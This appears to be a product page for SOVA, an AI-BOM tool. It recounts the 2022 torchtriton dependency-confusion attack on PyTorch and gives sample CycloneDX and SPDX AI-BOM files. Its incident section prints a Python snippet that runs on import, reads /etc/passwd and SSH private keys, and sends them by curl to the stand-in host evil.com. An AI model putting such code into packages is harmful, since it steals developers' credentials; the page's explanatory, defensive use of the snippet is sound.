Loading SOVA...
Loading SOVA...
As AI components proliferate across your software supply chain, tracking models, datasets, and ML dependencies becomes critical. SOVA auto-detects AI/ML components from your existing SBOMs and generates standardized AI-BOMs for compliance, governance, and responsible AI practices.
The Problem
You track every npm package, but do you know which ML models run in production? What data trained them? What licenses govern them? AI supply chain governance is the next frontier.
67%
Of enterprises using AI in production
McKinsey reports 67% of organizations now use AI. But most have zero inventory of their models, training data, or model dependencies.
EU AI Act
Regulation is here
The EU AI Act requires documentation of training data, model lineage, and risk classification. Non-compliance means fines up to 7% of global revenue.
0
Tools tracking AI supply chains
Traditional SCA tools were built for packages, not models. They can't track model weights, training datasets, or ML framework dependencies.
Real-World Incident Analysis
criticalAttack Timeline
Dec 25, 2022
exploit
Malicious package uploaded
Attacker registers 'torchtriton' on PyPI
Dec 25-30
impact
Silent compromise
Anyone installing PyTorch nightly gets malicious package
Dec 30, 2022
discovery
Compromise discovered
PyTorch team identifies the dependency confusion
Dec 31, 2022
patch
Package removed
Malicious torchtriton deleted from PyPI
Jan 1, 2023
disclosure
Advisory published
PyTorch publishes security advisory
Dec 25, 2022
Malicious package uploaded
Attacker registers 'torchtriton' on PyPI
Dec 25-30
Silent compromise
Anyone installing PyTorch nightly gets malicious package
Dec 30, 2022
Compromise discovered
PyTorch team identifies the dependency confusion
Dec 31, 2022
Package removed
Malicious torchtriton deleted from PyPI
Jan 1, 2023
Advisory published
PyTorch publishes security advisory
Attack Flow
Attacker
Registers 'torchtriton' name on public PyPI
Dependency Confusion
pip resolves from PyPI instead of internal index
Malicious Code Runs
Package executes on import, no user action needed
Data Exfiltration
Steals hostname, SSH keys, /etc/passwd, .gitconfig
Attacker
Registers 'torchtriton' name on public PyPI
Dependency Confusion
pip resolves from PyPI instead of internal index
Malicious Code Runs
Package executes on import, no user action needed
Data Exfiltration
Steals hostname, SSH keys, /etc/passwd, .gitconfig
Vulnerable Code
1import subprocess, os, socket23def _exfiltrate():4data = {5'hostname': socket.gethostname(),6'user': os.getenv('USER'),7'cwd': os.getcwd(),8'passwd': open('/etc/passwd').read(),9'ssh_keys': open(os.path.expanduser('~/.ssh/id_rsa')).read(),10}11# Exfiltrate via HTTP to attacker domain12subprocess.run(['curl', 'https://evil.com/upload', '-d', str(data)])1314_exfiltrate() # Runs on import!
What Happened
The attacker exploited Python's package resolution order. When pip couldn't find 'torchtriton' in PyTorch's internal index, it fell back to PyPI — where the attacker had registered a malicious package with the same name.
How SOVA Prevents This
SOVA tracks ML frameworks, models, and datasets with full lineage.
ML Framework Detection
AIBomEngine auto-detects torch, torchtriton, and all ML dependencies
Source Tracking
CycloneDX ML-BOM tracks exact package sources and registries
Vulnerability Alert
VulnerabilityManagementEngine flags torchtriton from Scout DB advisory
Impact Analysis
Model inventory shows which ML pipelines use affected version
ML Framework Detection
AIBomEngine auto-detects torch, torchtriton, and all ML dependencies
Source Tracking
CycloneDX ML-BOM tracks exact package sources and registries
Vulnerability Alert
VulnerabilityManagementEngine flags torchtriton from Scout DB advisory
Impact Analysis
Model inventory shows which ML pipelines use affected version
How It Works
Codebase Scan
Analyzing project dependencies and imports
AIBomEngine: Auto-Detection
Model Inventory
GPT-2 — HuggingFace, MIT
ResNet-50 — PyTorch, BSD
Dataset Tracking
ImageNet — Research-only
COCO — CC-BY-4.0
CycloneDX ML-BOM Export
EU AI Act Compliance Score: 78%
Real-time inventory of every AI/ML model detected across your organization. SOVA tracks framework, version, licensing, parameter count, training data provenance, and risk classification.
Track training data provenance, licensing, bias assessments, and privacy compliance for every dataset feeding your AI models.
Disparate impact ratio across protected attributes. Measures equalized odds, demographic parity, and calibration metrics for each model deployment.
Model interpretability methods available and documented. Tracks which explanation techniques have been applied and validated for each model in inventory.
Privacy regulation compliance for training data. Validates consent, anonymization, data minimization, and right-to-erasure capabilities across all datasets.
Percentage of required model card fields populated. Tracks intended use, limitations, ethical considerations, performance metrics, and training data documentation.
The CycloneDX ML-BOM extension provides a standardized format for documenting machine learning model components, including model cards, training data references, and quantitative performance analysis.
{
"bomFormat": "CycloneDX",
"specVersion": "1.6",
"serialNumber": "urn:uuid:3e671687-395b-41f5-a30f-a58921a69b79",
"version": 1,
"components": [
{
"type": "machine-learning-model",
"name": "Custom-Fraud-Detector",
"version": "1.4.0",
"bom-ref": "ml-fraud-001",
"modelCard": {
"modelParameters": {
"approach": { "type": "supervised" },
"task": "binary-classification",
"architectureFamily": "gradient-boosting",
"datasets": [
{
"ref": "dataset-txn-001",
"type": "training",
"name": "Transaction DB",
"contents": { "count": 12000000 }
}
]
},
"quantitativeAnalysis": {
"performanceMetrics": [
{ "type": "AUC-ROC", "value": "0.974" },
{ "type": "precision", "value": "0.891" },
{ "type": "recall", "value": "0.923" }
]
}
}
}
]
}The SPDX AI Profile defines properties for documenting AI and ML systems, including safety risk assessments, energy consumption, training information, and model explainability annotations.
{
"spdxVersion": "SPDX-3.0",
"creationInfo": {
"created": "2025-03-15T10:30:00Z",
"createdBy": ["Tool: SOVA-AIBOM-Generator/2.1.0"]
},
"ai_package": {
"type": "ai_Package",
"name": "ResNet-50-ImageClassifier",
"ai_autonomyType": "assistive",
"ai_safetyRiskAssessment": "low",
"ai_energyConsumption": {
"trainingEnergyConsumed": "118 kWh",
"inferenceEnergyConsumed": "0.003 kWh/request"
},
"ai_informationAboutTraining": {
"dataset": "ImageNet-1K (1.28M images)",
"framework": "PyTorch 2.2.1",
"hardware": "4x NVIDIA A100 80GB"
},
"ai_modelExplainability": "SHAP, GradCAM"
}
}Track your AI models, datasets, and ML dependencies in one place